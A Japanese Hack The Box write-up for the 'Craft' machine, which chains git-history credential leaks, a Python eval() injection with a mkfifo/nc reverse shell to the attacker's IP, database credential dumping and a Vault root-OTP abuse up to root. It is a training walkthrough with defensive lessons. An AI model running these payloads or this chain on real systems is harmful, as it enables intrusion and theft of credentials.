Hack The BoxのWriteup(Craft)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Craft — 全実行コマンド・実行結果レポート
Nmap スキャン
22/443/6022 (2つのSSH!)
gogs.craft.htb
公開repo匿名clone
git log -p
dineshの平文APIパスワード発見
POST /api/brew/
abvフィールドpython eval()インジェクション
mkfifoリバースシェル
apiコンテナ内 uid=0
settings.py + DB
gilfoyleのGogsパスワード
craft-infra private repo
SSH秘密鍵取得
SSH gilfoyle@host
user.txt ✓
.vault-token + root_otp
Vault root権限トークン悪用
SSH root (OTP)
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 22,443,6022 10.129.229.45
RESULT
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6
443/tcp  open  ssl/http nginx 1.15.8
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/...
6022/tcp open  ssh      Golang x/crypto/ssh server (protocol 2.0)
🚨
SSHサービスが2つ(22と6022)存在する。これはDockerコンテナ環境の 典型的な兆候。ポート6022のSSHはGo言語実装(x/crypto/ssh)であり、 通常のOpenSSHではない — これは内部で稼働するGogs(自己ホストGitサービス)の 組み込みSSHサーバーだと後で判明する。TLS証明書のCN(craft.htb)を /etc/hostsに登録する。

サブドメイン発見

BASH
curl -sk https://craft.htb/ | grep -oE 'https://[a-z.]*craft\.htb[^"]*'
wfuzz -u "https://10.129.229.45" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-20000.txt \
  -H "Host: FUZZ.craft.htb" --hh 3779
RESULT
トップページのリンクから: api.craft.htb, gogs.craft.htb
wfuzzでさらに発見: vault.craft.htb
BASH
echo "10.129.229.45 craft.htb api.craft.htb gogs.craft.htb vault.craft.htb" >> /etc/hosts
ℹ️
craft.htb: ビール会社のサイト(トップページのみ)
api.craft.htb: ビールAPIのSwagger風GUI
gogs.craft.htb: Gogs(自己ホストGitサービス)
vault.craft.htb: HashiCorp Vault(/v1/のみ応答)
4つのサブドメイン全てが後の攻略チェーンで重要な役割を果たす。
PHASE 2

Gogsコミット履歴からの資格情報漏洩

公開リポジトリを匿名clone

BASH
git clone -c http.sslVerify=false https://gogs.craft.htb/Craft/craft-api.git
RESULT
Cloning into 'craft-api'...
(認証不要でclone成功 — Craft/craft-api はpublicリポジトリ)
ℹ️
.gitignoresettings.pyが含まれているため 現在のワーキングツリーには機密情報は無いが、コミット履歴には 残っている可能性がある。特にtests/test.pyは API呼び出しのテストスクリプトであり、開発者が動作確認用に実際の 資格情報を一時的にハードコードしがちなファイル。

test.py のコミット履歴を確認

BASH
cd craft-api
git log -p --all -- tests/test.py
RESULT
commit a2d28ed... (Cleanup test)
-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)

commit 10e3ba4... (add test script)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
🚨
決定的な発見: 現在のコミットでは認証情報が空文字列に 「クリーンアップ」されているが、1つ前のコミット(初回追加時)には 平文の資格情報がそのまま残っている。gitは履歴全体を保持するため、 「消した」つもりのファイルも過去のコミットから復元できる。 dinesh:4aUh0A8PbVJxgd を取得。
PHASE 3

Flask API — python eval() インジェクション

APIへログインしJWTトークンを取得

BASH
curl -sk -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" \
  -H "accept: application/json"
RESULT
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."}
ℹ️
HTTP Basic Auth形式(https://user:pass@host/...)でログインすると JWTトークンが返る。このトークンは5分で失効するため、 以降の操作は都度新規取得するか手早く実行する必要がある。

Gogs上のソースコードで eval() 注入箇所を発見

NOTE
Gogsの "Bogus ABV values" Issueのコメント履歴を確認すると、開発者が
abv(アルコール度数)フィールドのバリデーションに eval() を使っており、
別の開発者が「こんな "修正" はまずい、何か酷いことが起きる前に消せ」と
警告している。実際のコードは概ね以下の形:

    if eval('%s > 1' % request.json['abv']):
        return "ABV must be a decimal value less than 1.0"

request.json['abv'] はユーザーが完全に制御できる文字列であり、そのまま
eval() へ渡される。abvに python 式を注入すると任意コード実行が成立する。
🚨
典型的な python eval() インジェクション。 __import__('os').system('コマンド') をabv値に注入すると、 eval()による式評価の副作用としてOSコマンドが実行される。 ただしPOST /brew/ の正常なレスポンスは null であり、 RCEの出力はHTTPレスポンスへ返らない(ブラインドRCE)。

mkfifoリバースシェルで対話シェルへ転換

BASH (Kali側リスナー準備)
mkfifo /tmp/craft_fifo
nohup bash -c 'exec 9<>/tmp/craft_fifo; while :; do sleep 3600; done' &
nohup nc -lnvp 14801 < /tmp/craft_fifo > /tmp/craft_shell.log 2>&1 &
BASH (ペイロード送信)
TOKEN=$(curl -sk "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")

PAYLOAD="__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 14801 >/tmp/f')"

curl -sk -X POST "https://api.craft.htb/api/brew/" \
  -H "accept: application/json" -H "Content-Type: application/json" \
  -H "X-CRAFT-API-TOKEN: $TOKEN" \
  --data "{\"id\": 0, \"brewer\": \"kali\", \"name\": \"beer\", \"style\": \"bad\", \"abv\": \"$PAYLOAD\"}"
RESULT
HTTP: 504 Gateway Time-out (予想通り — ncチェーンが接続を保持するためHTTPは
                              ハングしタイムアウトする。RCE自体は既に発火済み)

listening on [any] 14801 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.229.45] 34255
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/opt/app # hostname
5a3d243127f5
RCE成功! ただしuid=0(root)でも hostnameがコンテナIDらしき値を返しており、これは Dockerコンテナ内のrootであってホストのrootではない。 ホストへの横展開が別途必要になる。
PHASE 4

DB資格情報奪取 → gilfoyleのSSH鍵 → user.txt

settings.py からMySQL資格情報を取得

BASH (リバースシェル内)
cat /opt/app/craft_api/settings.py
RESULT
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'

任意SQLクエリ実行スクリプトを配置

PYTHON (アプリ既存の dbtest.py を流用)
import pymysql, sys
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)
try:
    with connection.cursor() as cursor:
        sql = sys.argv[1]
        cursor.execute(sql)
        print(cursor.fetchall())
finally:
    connection.close()
⚠️
落とし穴: このスクリプトを/tmpなど /opt/app以外の場所に置くと ModuleNotFoundError: No module named 'craft_api'で失敗する。 pythonはスクリプト自身が置かれたディレクトリをsys.path[0] (importの起点)にするため、craft_apiパッケージを解決できるよう スクリプトを必ず/opt/app直下に配置する必要がある。
BASH
cd /opt/app && python .dbq.py "SELECT * from user"
RESULT
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
 {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
 {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

gilfoyleでGogsにログインし private リポジトリからSSH鍵を取得

BASH
git clone -c http.sslVerify=false \
  https://gilfoyle:ZEU3N8WNM2rh4T@gogs.craft.htb/gilfoyle/craft-infra.git
RESULT
Cloning into 'craft-infra'...
craft-infra/.ssh/id_rsa
craft-infra/.ssh/id_rsa.pub
craft-infra/docker-compose.yml
craft-infra/vault/secrets.sh  ...
🚨
DBから得たgilfoyleの資格情報でGogsにログインすると、 Developer権限で見えるprivateリポジトリ gilfoyle/craft-infraが存在し、 インフラ全体の docker-compose.ymlSSH秘密鍵ペアが丸ごと含まれている。 パスフレーズはGogsのパスワードと同一 (ZEU3N8WNM2rh4T)。

ホストへSSHしuser.txt取得

BASH
chmod 600 craft-infra/.ssh/id_rsa
sshpass -P "passphrase" -p 'ZEU3N8WNM2rh4T' \
  ssh -i craft-infra/.ssh/id_rsa gilfoyle@10.129.229.45 "id; cat ~/user.txt"
RESULT
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
5ceb6f1f67c419cdb5356c09282da246
user.txt — gilfoyle
5ceb6f1f67c419cdb5356c09282da246
ℹ️
今回接続したのはポート22(コンテナではなくホスト本体)。 Dockerコンテナ内のRCEから、DB経由の資格情報漏洩→Git private repo経由の SSH鍵取得という2段の横展開でホスト上のシェルへ到達した。
PHASE 5

HashiCorp Vault の調査

gilfoyleのホームディレクトリと環境変数を確認

BASH
gilfoyle@craft:~$ env | grep VAULT
gilfoyle@craft:~$ cat ~/.vault-token
gilfoyle@craft:~$ which vault
RESULT
VAULT_ADDR=https://vault.craft.htb:8200/
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
/usr/local/bin/vault
🚨
決定的な発見: gilfoyleのホームに.vault-tokenが 平文で残されている。vault token lookupで確認すると、この トークンはpolicies: [root]を持つVaultの最上位権限 トークンだった。

craft-infra リポジトリの secrets.sh から Vault SSH機能を確認

BASH (craft-infra/vault/secrets.sh)
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0
🚨
致命的な設定不備: VaultのSSHシークレットエンジンに root_otpというロールが設定されており、 default_user=root、しかもcidr_list=0.0.0.0/0 (発行対象IPの制限なし)。つまりVaultのroot トークンさえ持っていれば、 任意のIPに対してrootログイン用のワンタイムパスワードを いくらでも発行できる。
PHASE 6

Vault root OTP → root.txt

Kali自身のIP向けにroot用OTPを非対話発行

BASH (gilfoyleのSSHセッション経由)
OTP=$(sshpass -P "passphrase" -p 'ZEU3N8WNM2rh4T' \
  ssh -i craft-infra/.ssh/id_rsa gilfoyle@10.129.229.45 \
  "VAULT_TOKEN=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 \
   vault write -field=key ssh/creds/root_otp ip=10.129.229.45")
echo "OTP=$OTP"
RESULT
OTP=14308c15-2013-4e6d-3368-c493b2f31adf
ℹ️
公式ウォークスルーは対話コマンドvault ssh -mode=otp -role=root_otp root@127.0.0.1を使うが、内部的にはこのコマンドも vault write ssh/creds/root_otp相当のAPI呼び出しでOTPを 取得した後にsshクライアントを起動しているだけ。ターゲット側に sshpassが存在しないため(Vault自身が “Vault could not locate sshpass” と警告する)、 OTP発行だけを非対話で行い、実際にOTPを消費するSSH接続は Kali側から直接実行する設計にすることで自動化できる。

発行されたOTPでrootとしてSSHログイン

BASH (Kaliから直接)
sshpass -p "$OTP" ssh -o StrictHostKeyChecking=no root@10.129.229.45 \
  "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
a0caa0de264d8ad958531c2e0212ea46
root.txt — root@craft
a0caa0de264d8ad958531c2e0212ea46
root化成功! Vaultのssh/creds/root_otp エンドポイントは、PAM連携によりOTPを一度だけ有効なワンタイムパスワード として機能させる。cidr_list制限がないため、Vault root トークンさえ 窃取すればターゲットホストのどこにも追加のマルウェアや リバースシェルを置くことなく正規のSSH経路でroot化できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — gilfoyle
5ceb6f1f67c419cdb5356c09282da246
root.txt — root@craft
a0caa0de264d8ad958531c2e0212ea46

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Gitコミット履歴の資格情報残留 Craft/craft-api (tests/test.py) APIログイン資格情報の平文取得 Medium 「削除」したつもりの認証情報が過去コミットに残存、git log -pで復元
Python eval() インジェクション api.craft.htb POST /api/brew/ (abvフィールド) リモートコード実行 (Dockerコンテナ内root) Critical ユーザー制御可能な文字列を直接eval()に渡す実装不備を悪用しmkfifoリバースシェル確立
アプリ設定ファイル/DBの平文資格情報連鎖 settings.py + MySQL user テーブル 横展開 (コンテナ → Gogs → ホスト) High DB内ユーザーテーブルの平文パスワードでGogsログインし、private repoからSSH鍵窃取
Vault root OTPロールの制限なし発行設定 ssh/roles/root_otp (cidr_list=0.0.0.0/0) 権限昇格 (gilfoyle → root) Critical ホームに残されたVault rootトークンを使い任意IP向けにroot用ワンタイムパスワードを発行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + wfuzz サブドメイン発見4つのvhost(craft/api/gogs/vault)
2資格情報漏洩git clone + log -p –alldinesh:4aUh0A8PbVJxgd (API)
3RCEeval()インジェクション + mkfifoリバースシェルapiコンテナ内RCE(uid=0)
4横展開settings.py + DB query + Gogs private repouser.txt取得(gilfoyle SSH鍵経由)
5Vault調査.vault-token + secrets.sh解析root_otpロールの設定不備発見
6権限昇格vault write ssh/creds/root_otproot.txt取得

学んだ教訓 & 防御策

問題点防御策
開発者が動作確認用に資格情報をコードへ直接記入し、後で「削除」したつもりが git履歴に残存 資格情報は一切コードに書かない。誤ってコミットした場合は git filter-repo等で履歴自体を書き換え、該当パスワードは 必ずローテーションする。
ユーザー制御可能な入力を直接eval()へ渡すバリデーション実装 eval()/exec()を信頼できない入力に対して 絶対に使わない。数値バリデーションはfloat()変換+例外処理等 安全な方法で行う。
同一の平文パスワードがDB・アプリ設定・Gitホスティングサービスなど 複数システムで使い回されている システムごとに独立したパスワードを使用する。可能であれば シークレットマネージャで一元管理しローテーションを自動化する。
Vaultのroot権限トークンが一般ユーザーのホームディレクトリに平文で保存され、 しかもSSH OTPロールが送信元IP制限なしで有効化されている rootトークンは長期間ディスクに残さず短命化する。Vaultポリシーは 最小権限に分割しroot トークンの直接利用を避ける。SSHロールには 必ず適切なcidr_list制限を設定する。
HackTheBox: Craft | 完全攻略レポート